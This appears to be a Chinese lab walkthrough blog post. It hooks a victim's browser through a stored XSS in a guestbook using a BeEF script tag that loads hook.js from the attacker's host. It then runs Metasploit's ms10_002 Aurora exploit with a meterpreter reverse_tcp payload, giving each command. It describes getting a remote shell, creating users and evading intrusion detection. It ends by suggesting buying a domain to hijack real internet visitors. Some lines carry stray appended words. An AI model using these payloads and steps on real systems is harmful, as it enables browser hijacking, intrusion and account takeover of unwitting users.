环境:web
1.Kali(使用beef生成恶意代码,IP:192.168.114.140)shell
2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.114.204)windows
3. 客户端(用于访问web服务器,IP:192.168.114.130)浏览器
步骤:服务器
1. Kali使用beef生成恶意代码网络
2. 将恶意代码写入192.168.114.204网站留言板session
3. 只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持框架
目的:tcp
控制目标主机的浏览器,经过目标主机浏览器得到该主机的详细信息,并进一步扫描内网,配合metasploit进行内网渗透工具
如下为具体操做:
首先我在window server 2003上搭建IIS服务器,在站长之家找了一个存在XSS漏洞的留言板源码(我心依然留言板),发布到IIS服务器上。
用WVS扫了一下,确实存在XSS漏洞:
启动成功后:
浏览器输入:http://127.0.0.1:3000/ui/panel,Usename与Password均为beef:
将如上图所示的Hook URL写入web服务器存在XSS漏洞的留言板中<scriptsrc="http://192.168.114.140:3000/hook.js"></script>
若是留言被管理员审核经过,你的留言能在留言板显示出来。当客户端访问服务器的留言板后,你能够在Beef控制端查看目标主机,若是出现下图所示内网,表示客户端浏览器已经被成功劫持
在Current Browser项选择Browser,点击Hooked Domain选择Redirect Browser,在右边的Redirect URL中输入网址,便可控制浏览器跳转到目标网址
Kali收藏栏找到metasploit framework
也能够新建终端输入:msfconsole,启动成功后:
输入如下命令:
1.search ms10_002(寻找ms10_002漏洞)
2.useexploit/windows/browser/ms10_002_aurora(使用ms10_002极光漏洞)
3.set payloadwindows/meterpreter/reverse_tcp(设置TCP回连攻击载荷)
4.show options(查看漏洞利用工具选项)
5.set srvhost 192.168.114.140(配置客户端访问的目标地址,这里是Kali本机的IP地址)
6.set srvport 7777(访问的端口号)
7.set uripath /(网站根路径)
8.set lhost 192.168.114.140(设置本地接收地址)
9.set lport 4444(端口号)
10.show options (查看是否更改过来)
11.exploit(执行利用,出现以下所示表示执行成功)
利用Beef生成的恶意代码植入到存在XSS漏洞的web服务器(12.168.114.204),客户端(192.168.114.130)浏览植入恶意代码的网页,形成客户端浏览器被劫持。当前客户端使用的环境为windows XP+IE6,咱们使用metasploit framework工具针对IE6的ms10_002极光漏洞进行利用,控制客户端被劫持的浏览器访问192.168.114.140:7777,触发该漏洞,经过漏洞拿到客户端的权限shell,回连192.168.114.140:4444,从而达到控制客户端系统的目的。
因为笔者的XP+IE6环境没有搭好,如下用的firefox浏览器演示命令执行,跳转以后的效果:
如何查看这个shell,咱们在Kali中的metasploit终端按下回车。输入sessions –i(因为用的firefox浏览器,因此没有成功获取session)
我在网上找了张图,当成功利用,显示以下:
根据sessions的Id,输入sessions -i 1,获得meterpreter:
meterpreter是metasploit框架中的一个扩展模块,做为溢出成功之后的攻击载荷使用,攻击载荷在溢出攻击成功之后给咱们返回一个控制通道。使用它做为攻击载荷可以得到目标系统的一个meterpretershell的连接。meterpretershell做为渗透模块有不少有用的功能,好比添加一个用户、隐藏一些东西、打开shell、获得用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、获得远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter可以躲避入侵检测系统。在远程主机上隐藏本身,它不改变系统硬盘中的文件,所以HIDS[基于主机的入侵检测系统]很难对它作出响应。此外它在运行的时候系统时间是变化的,因此跟踪它或者终止它对于一个有经验的人也会变得很是困难。
输入shell就能够拿到目标主机的一个cmd
而后就能够作任何想作的事好比net user 建立用户等
想要使用metasploit,固然要配合漏洞进行利用,如下为漏洞发布网站,能够常常去看看:
https://www.exploit-db.com/
仅我的的一些想法,若是不对请指正:利用本机为Web服务器,购买域名,并将域名解析至本机IP地址,在本机的网站上写入恶意代码。当外网客户端经过域名访问我本机搭建的网站,致使浏览器被劫持。